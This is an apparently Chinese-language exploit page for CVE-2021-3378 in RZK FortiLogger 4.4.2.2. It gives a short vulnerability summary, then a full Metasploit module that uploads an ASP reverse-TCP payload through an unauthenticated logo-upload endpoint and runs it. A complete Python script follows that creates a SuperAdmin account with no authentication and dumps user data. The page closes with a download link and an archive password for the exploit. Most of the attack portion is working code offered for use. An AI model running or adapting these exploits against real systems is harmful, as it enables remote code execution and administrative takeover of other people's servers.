目录导航
漏洞简介
RZK Fortilogger是土耳其RZK公司的一个可为Windows系统上FortiGate防火墙进行即时状态跟踪,日志记录,搜索/过滤,报告和热点等功能的建站系统。
FortiLogger 4.4.2.2 存在安全漏洞,该漏洞源于受任意文件上传的影响。
- 日期:2021-01-30
- 漏洞利用作者:Berkan Er [email protected]
- 供应商主页:www.fortilogger.com/
- 软件链接:www.fortilogger.com/download
- 版本:4.4.2.2
- 经过测试:Windows 10 Enterprise x64
- CVE:2021-3378
- 披露日期:2021-02-26
该模块通过不安全的POST请求利用未经身份验证的任意文件上传。它已在Windows 10企业版4.4.2.2中进行测试。
POC:
漏洞发现
在“热点设置” 下上传公司徽标时发现了此漏洞http://<IP>:5000/config/hotspotsettings)
。可以向匿名用户发送没有任何身份验证或会话标头的文件,但POST
要求是/Config/SaveUploadedHotspotLogoFile
。

文件在 C:\Program Files\RZK\Fortilogger\Web\Assets\temp\hotspot\img
名称下上传,而没有控制文件扩展名或内容。

使用此漏洞,可以上传恶意文件并访问运行该应用程序的远程服务器。
漏洞利用
我现在在版本4.4.2.2上发现并测试了此漏洞。因此,首先检查应用程序的版本。该应用程序具有一个API,该API可以通过POST
请求来获取有关该应用程序的一些信息/shared/GetProductInfo
。我只得到它的版本号。
def check_product_info
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
'method' => 'POST',
'data' => '',
'headers' => {
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest'
}
)
end
def check
begin
res = check_product_info
if res && res.code == 200
if JSON.parse(res.body)['Version'] == '4.4.2.2'
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
rescue JSON::ParserError
Exploit::CheckCode::Safe
end
end
生成ASP反向TCP有效负载
def create_payload
Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
end
下面的部分将有效负载上传到目标系统,我们已经知道文件位于/Assets/temp/hotspot/img/logohotspot.asp
并触发它进行反向连接;
def exploit
begin
print_good('Generate Payload !')
data = create_payload
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"b3r.asp\"\r\n"
post_data << "Content-Type: image/png\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' => {
'Accept' => 'application/json',
'Accept-Language' => 'en-US,en;q=0.5',
'X-Requested-With' => 'XMLHttpRequest'
}
)
if res && res.code == 200
if JSON.parse(res.body)['Message'] == 'Error in saving file'
print_error('Error for upload payload..')
else
print_good('Payload has been uploaded !')
handler
print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
'method' => 'GET'
}, 5)
end
end
end
end
奖金
此外,该软件还具有2个漏洞,信息泄露和无需任何授权或会话标头即可创建用户的漏洞。这是漏洞利用。
python3 fortilogger_vuln.py
FortiLogger | Log and Report System - v4.4.2.2
Remote SuperAdmin Account Creation Vulnerability / Information Disclosure
Berkan Er <[email protected]>
@erberkan
Usage:
python3 fortilogger_vuln.py < IP > < PORT > < CREATE USER {TRUE / FALSE} >
IP: IP Address of FortiLogger host
PORT: Port number of FortiLogger host
TRUE: Create User
FALSE: Show Product Infos
Example: python3 fortilogger_vuln.py 192.168.1.10 5000 TRUE
# Exploit Title: FortiLogger - Remote SuperAdmin Account Creation Vulnerability / Information Disclosure
# Date: 30-01-2021
# Exploit Author: Berkan Er
# Vendor Homepage: https://www.fortilogger.com/
# Version: 4.4.2.2
# Tested on: Windows 10 Enterprise
# A remote attacker can be create an user with SuperAdmin profile
#!/usr/bin/python3
import argparse
import string
import sys
from random import random
import requests
import json
banner = '''
FortiLogger | Log and Report System - v4.4.2.2
Remote SuperAdmin Account Creation Vulnerability / Information Disclosure
Berkan Er <[email protected]>
@erberkan
'''
commonHeaders = {
'Content-type': 'application/json',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
}
def getProductInfo(host, port, flag):
response = requests.post('http://' + host + ':' + port + '/shared/GetProductInfo', data={}, headers=commonHeaders)
print("[*] Status code: ", response.status_code)
print("[*] Product Version: ", response.json()['Version'])
info_json = json.dumps(response.json(), indent=2)
response_1 = requests.post('http://' + host + ':' + port + '/User/getUsers', data={}, headers=commonHeaders)
user_json = json.dumps(response_1.json(), indent=2)
profiles_payload = '''{
'id':'all'
}'''
response_2 = requests.post('http://' + host + ':' + port + '/User/getProfile', data=profiles_payload, headers=commonHeaders)
profiles_json = json.dumps(response_2.json(), indent=2)
if flag:
print("\n*** Product Infos=\n" + info_json)
print("\n*** Profiles=\n" + profiles_json)
print("\n*** Users=\n" + user_json)
if response.json()['Version'] == '4.4.2.2':
print("[+] It seems vulnerable !")
return True
else:
print("[!] It doesn't vulnerable !")
return False
def createSuperAdmin(host, port):
payload = '''{
'_profilename':'superadmin_profile',
'_username': '_hacker',
'_password': '_hacker',
'_fullname':'',
'_email':''
}'''
response = requests.post('http://' + host + ':' + port + '/User/saveUser', data=payload, headers=commonHeaders)
print("[*] STAUTS CODE:", response.status_code)
print("[!] User has been created ! \nUsername: _hacker\nPassword: _hacker")
response_1 = requests.post('http://' + host + ':' + port + '/User/getUsers', data={}, headers=commonHeaders)
json_formatted_str = json.dumps(response_1.json(), indent=2)
print("\n*** Users=\n" + json_formatted_str)
def main():
print(banner)
try:
host = sys.argv[1]
port = sys.argv[2]
action = sys.argv[3]
if action == 'TRUE':
if getProductInfo(host, port, False):
createSuperAdmin(host, port)
else:
getProductInfo(host, port, True)
print("KTHNXBYE!")
except:
print("Usage:\npython3 fortilogger_vuln.py < IP > < PORT > < CREATE USER {TRUE / FALSE} >\n\nIP:\tIP "
"Address of FortiLogger host\nPORT:\tPort number of FortiLogger host\nTRUE:\tCreate User\nFALSE:\tShow Product "
"Infos")
print("\nExample: python3 fortilogger_vuln.py 192.168.1.10 5000 TRUE\n")
if __name__ == "__main__":
main()
POC
CVE-2021-3378 exp下载地址
雨苁网盘:
https://w.ddosi.workers.dev
解压密码: www.ddosi.org